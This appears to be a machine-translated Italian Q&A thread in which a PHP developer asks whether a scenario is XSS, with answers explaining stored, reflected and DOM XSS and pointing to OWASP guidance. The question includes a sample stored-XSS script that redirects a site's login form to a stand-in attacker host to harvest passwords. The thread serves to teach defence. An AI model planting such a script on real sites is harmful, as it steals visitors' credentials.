È l'input dell'utente di HTML con Javascript che viene mostrato agli altri ma non a HTML-escape di un esempio di XSS

Question

Sono uno sviluppatore PHP e sto cercando di migliorare la sicurezza dei miei siti.

Da quello che ho capito i seguenti sono due principali tipi di vulnerabilità che colpiscono le applicazioni web:

• SQL Injection
• XSS

SQL Injection può essere fissato con le istruzioni preparate - facile.

Ma ancora non capisco proprio XSS -? È il seguente un esempio di XSS ...

• pagina piena di contenuti user-made ha un modulo di login in alto (a livello di sito) .
• L'input dell'utente alla pagina non è in formato HTML.
• un utente inserisce il seguente contenuto (ad esempio un commento) alla pagina ...

A really nice comment 

<!-- now an evil script (example here with jquery, but easily done without) ---> 
<script type="text/javascript"> 
$(document).ready(function() { 
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php'); 
}); 
</script> 

• un utente innocente arriva alla pagina, lo script viene eseguito.
• L'utente innocente si rende conto di non aver effettuato l'accesso e di inserire i relativi dettagli nel modulo.
• I dettagli dell'utente vengono inviati a http://somehackysite.com/givemyourpw.php e quindi i dettagli dell'account dell'utente vengono rubati.

Così ho davvero hanno tre domande qui:

1. Sarebbe questo lavoro?
2. È questo XSS?
3. Ci sono delle precauzioni che gli sviluppatori dovrebbero prendere contro l'XSS se non l'escape dell'HTML?

Answer 1

Esistono due tipi di attacchi XSS: XSS riflessi e attacchi persistenti XSS. Quello che hai descritto, dove un utente del sito immette dati che vengono salvati sul lato server e viene visualizzato per chiunque visualizzi una pagina, è considerato XSS persistente. Attacchi simili potrebbero essere se si dispone di una casella di commento su un post che non sfugge a Javascript o una pagina di profilo in cui posso inserire qualcosa.

L'altra classe di attacchi XSS è XSS riflessa. Questi sono un po 'più complicati, ma ammontano a uno degli argomenti nell'URL per una pagina che non è stata scappata. Spesso si presentano in cose come pagine di ricerca su grandi siti web. Otterrai un URL che include alcuni javascript (mi dispiace, il mio esempio è stato manomesso dal renderer qui, quindi non posso mostrarti un esempio), e la pagina renderà il javascript che permetterebbe a qualcuno di creare un malware URL. Questi sono particolarmente pericolosi su siti che consegnano qualsiasi tipo di dati finanziari; immagina un utente coscienzioso che controlli sempre per assicurarsi che stiano andando al link di scrittura alla loro banca, ma a causa di un attacco XSS riflesso un utente malintenzionato può inviarli a una pagina legittima sul sito web della sua banca, ma questo ha malizioso codice in esso.

In ogni caso, l'esempio è XSS persistente.Puoi fare cose ancora più nefaste con attacchi del genere piuttosto che cambiare semplicemente dove un modulo di login invia utenti. Sono stati popolari da anni a fare cose come raschiare informazioni da aree personali di siti o accoppiati con CSRF per fare in modo che un utente autenticato faccia qualcosa semplicemente guardando una pagina. Ci sono stati alcuni virus MySpace qualche tempo fa che lo hanno fatto e si sono diffusi da un profilo all'altro.

Answer 2

è XSS e credo che sia javascript iniezione troppo
quindi penso this link vi aiuterà

Answer 3

È questo XSS?

Sì, questo è un injection flaw in generale, e verrebbe indicato come un XSS exploit in questo caso particolare, come è JavaScript che è stato iniettato.

Ma questo difetto di iniezione, in cui l'input di un utente viene riflesso ad altri utenti senza alcuna modifica, può anche cedere ad altri attacchi come defacement.

Questo lavoro dovrebbe funzionare?

Sì, è molto probabile che funzioni perché è il server di origine che serve questo codice tagliato come qualsiasi altro codice nella pagina web. Quindi è come se l'autore del sito web fosse l'autore di questo codice e sarà trattato allo stesso modo.

Ci sono delle precauzioni che gli sviluppatori dovrebbero prendere contro l'XSS se non l'escape dell'HTML?

Ci sono in realtà tre diversi tipi di XSS: DOM based XSS, Reflected XSS, e Stored/persistent XSS). Il tuo esempio è un exploit XSS memorizzato/persistente mentre il server distribuisce l'exploit ad ogni richiesta.

La regola generale è di non fidarsi di alcun input dell'utente. Detto questo, dovrebbe essere consentito solo un input utente valido oppure l'input dell'utente viene filtrato (rimuovendo i valori non validi) o correttamente codificato (convertire valori non validi) prima di emetterlo. Vedi OWASP’s XSS Cheat Sheet per ulteriori informazioni.

Answer 4

Sì, questo è un esempio di attacco XSS persistente di base. Non solo un utente può rubare credenziali in questa situazione, ma anche tentare di infettare visitatori o link di spam attraverso il tuo sito.

OWASP XSS Prevention Guide è un buon inizio. https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet